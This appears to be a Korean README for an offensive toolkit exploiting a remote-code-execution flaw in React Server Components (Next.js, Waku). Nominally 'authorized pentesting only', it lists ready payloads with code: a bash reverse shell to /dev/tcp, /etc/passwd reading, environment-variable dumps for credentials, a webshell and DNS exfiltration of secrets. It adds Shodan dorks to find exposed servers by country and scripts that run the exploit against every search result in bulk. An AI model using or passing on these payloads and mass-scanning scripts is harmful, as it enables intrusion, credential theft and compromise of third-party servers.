
React Server Components 취약점을 위한 고급 RCE 익스플로잇 툴킷입니다. 사전 구축된 여러 페이로드, 대상 발견을 위한 Shodan 통합, 그리고 공인된 침투 테스트를 위한 대량 스캔 기능을 제공합니다.
React Server Components 원격 코드 실행 취약점을 위한 고급 익스플로잇 툴킷
승인된 침투 테스트 및 보안 연구 전용
이 툴킷은 React Server Components (RSC) 구현체의 중요 원격 코드 실행 (RCE) 취약점을 익스플로잇하며, 특히 다음을 대상으로 합니다:
이 취약점은 RSC의 데이터 처리 메커니즘에서 프로토타입 오염 및 안전하지 않은 역직렬화를 이용하여 서버에서 임의 코드 실행을 달성합니다.
React Server Components는 클라이언트와 서버 간 데이터 전송을 위해 사용자 정의 직렬화 포맷을 사용합니다. 취약점은 이러한 프레임워크가 특수하게 조작된 페이로드를 역직렬화하고 처리하는 방식에 존재합니다.
공격 체인:
$X:constructor:constructor를 남용하여 Function 생성자에 접근_prefix 필드에 임의의 JavaScript 삽입공격자 → 악성 RSC 페이로드 → 대상 서버
↓
안전하지 않은 역직렬화
↓
프로토타입 체인 접근
↓
Function 생성자
↓
⚠️ RCE 성공 ⚠️
| 페이로드 | 설명 | 사용 사례 |
|---|---|---|
console | 기본 PoC (console.log) | 취약점 확인 |
reverseShell | Bash 리버스 셸 | 초기 접근 |
readFile | /etc/passwd 읽기 | 파일 시스템 접근 |
envDump | 환경 변수 덤프 | 자격 증명 추출 |
execCommand | 시스템 명령 실행 | 임의 명령 실행 |
webshell | Express 웹셸 배포 | 지속적 접근 |
exfilPackage | package.json 추출 | 종속성 분석 |
dnsExfil | DNS 추출 (OOB) | 블라인드 익스플로잇 |
git clone https://github.com/yourusername/rsc-rce-exploit.git
cd rsc-rce-exploit
npm install
# 또는
yarn install
# Shodan CLI 설치
pip install shodan
# API 키로 초기화
shodan init YOUR_API_KEY
node rsc-rce-exploit.js --target http://vulnerable-target.com --payload console
# 리스너 시작
nc -lvnp 4444
# 익스플로잇 실행
node rsc-rce-exploit.js \
--target http://vulnerable-target.com \
--payload reverseShell \
--lhost 10.10.14.5 \
--lport 4444
node rsc-rce-exploit.js \
--target http://vulnerable-target.com \
--payload execCommand \
--command "whoami"
node rsc-rce-exploit.js [옵션]
| 옵션 | 설명 | 필수 |
|---|---|---|
--target <url> | 대상 URL | ✅ |
--framework <name> | 프레임워크: next 또는 waku | ❌ (기본값: next) |
--payload <name> | 페이로드 이름 (아래 참조) | ✅* |
--custom <code> | 사용자 정의 JavaScript 코드 | ✅* |
--lhost <ip> | 사용자 IP (리버스 셸용) | ❌ |
--lport <port> | 사용자 포트 (리버스 셸용) | ❌ |
--command <cmd> | 실행할 명령어 | ❌ |
--endpoint <path> | 사용자 정의 RSC 엔드포인트 (Waku) | ❌ |
--action-id <id> | 사용자 정의 next-action ID | ❌ |
--list | 사용 가능한 페이로드 목록 | ❌ |
--verbose | 상세 출력 | ❌ |
--help | 도움말 표시 | ❌ |
*--payload 또는 --custom 중 하나는 필수
모든 페이로드 보기:
node rsc-rce-exploit.js --list
출력:
📋 사용 가능한 페이로드:
console - 기본 PoC - 콘솔 출력
코드: console.log(7*7+1)
reverseShell - 리버스 셸 (bash)
코드: require('child_process').exec('bash -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"')
readFile - /etc/passwd 읽기
코드: console.log(require('fs').readFileSync('/etc/passwd','utf8'))
envDump - 환경 변수 덤프
코드: console.log(JSON.stringify(process.env,null,2))
execCommand - 시스템 명령 실행
코드: console.log(require('child_process').execSync('COMMAND').toString())
webshell - /tmp에 웹셸 작성
코드: require('fs').writeFileSync('/tmp/shell.js','...')
exfilPackage - package.json 읽기
코드: console.log(require('fs').readFileSync('./package.json','utf8'))
dnsExfil - DNS 추출
코드: require('dns').resolve4(Buffer.from(process.env.SECRET||'nosecret')...)
모든 JavaScript 코드 실행:
node rsc-rce-exploit.js \
--target http://target.com \
--custom "require('fs').readdirSync('.').forEach(f=>console.log(f))"
# 기본 Next.js
http.component:"Next.js"
# RSC를 사용하는 Next.js
http.html:"__next" http.html:"RSC"
# Next.js 개발 모드 (더 취약함)
http.html:"__NEXT_DATA__" http.html:"development"
# 자체 호스팅 Next.js (Vercel 아님)
http.component:"Next.js" -org:"Vercel"
# 지역 대상 지정 (프랑스)
http.component:"Next.js" country:FR
# 침투 테스트용 최고 조합
http.component:"Next.js" http.status:200 country:FR -org:"Vercel" port:3000,8080
# Waku 프레임워크
http.html:"waku" http.html:"RSC"
# Waku RSC 엔드포인트
http.path:"/RSC/"
제공된 자동화 스크립트 사용:
# 스캔 및 자동 테스트
./shodan-scanner.sh "http.component:\"Next.js\" country:FR" 100
# 사용자 정의 페이로드와 함께
./shodan-scanner.sh "http.component:\"Next.js\"" 50 envDump
# 1. Shodan 검색
shodan search 'http.component:"Next.js" country:FR' \
--fields ip_str,port,org,hostnames \
--limit 100 > targets.txt
# 2. 각 대상 테스트
while read -r line; do
ip=$(echo $line | awk '{print $1}')
port=$(echo $line | awk '{print $2}')
echo "[*] http://$ip:$port 테스트 중"
node rsc-rce-exploit.js \
--target "http://$ip:$port" \
--payload console
done < targets.txt
mass-exploit.js 도구를 사용하면 여러 대상을 테스트할 수 있습니다:
# 파일에서
node mass-exploit.js --file targets.txt --payload console --threads 10
# Shodan에서
node mass-exploit.js --shodan "http.component:\"Next.js\"" --limit 50 --payload envDump
# 결과 저장
node mass-exploit.js --file targets.txt --payload console --output results.json
자동 보안 테스트 예시:
# .github/workflows/security-test.yml
name: RSC 보안 테스트
on: [push]
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- run: npm install
- run: node rsc-rce-exploit.js --target http://staging.example.com --payload console
node rsc-rce-exploit.js \
--target https://vulnerable.example.com \
--payload console
예상 출력:
╔═══════════════════════════════════════════════════════════╗
║ RSC RCE 익스플로잇 - 향상된 버전 ║
║ React Server Components 코드 실행 ║
╚═══════════════════════════════════════════════════════════╝
[*] 익스플로잇 시작 중...
[*] Next.js RSC 엔드포인트 대상 지정 중...
[*] URL: https://vulnerable.example.com
[*] 페이로드: console.log(7*7+1)...
[+] 응답 상태: 200
[+] 응답 본문:
50
[*] 익스플로잇 완료!
node rsc-rce-exploit.js \
--target https://api.target.com \
--payload envDump
결과:
process.env 변수 덤프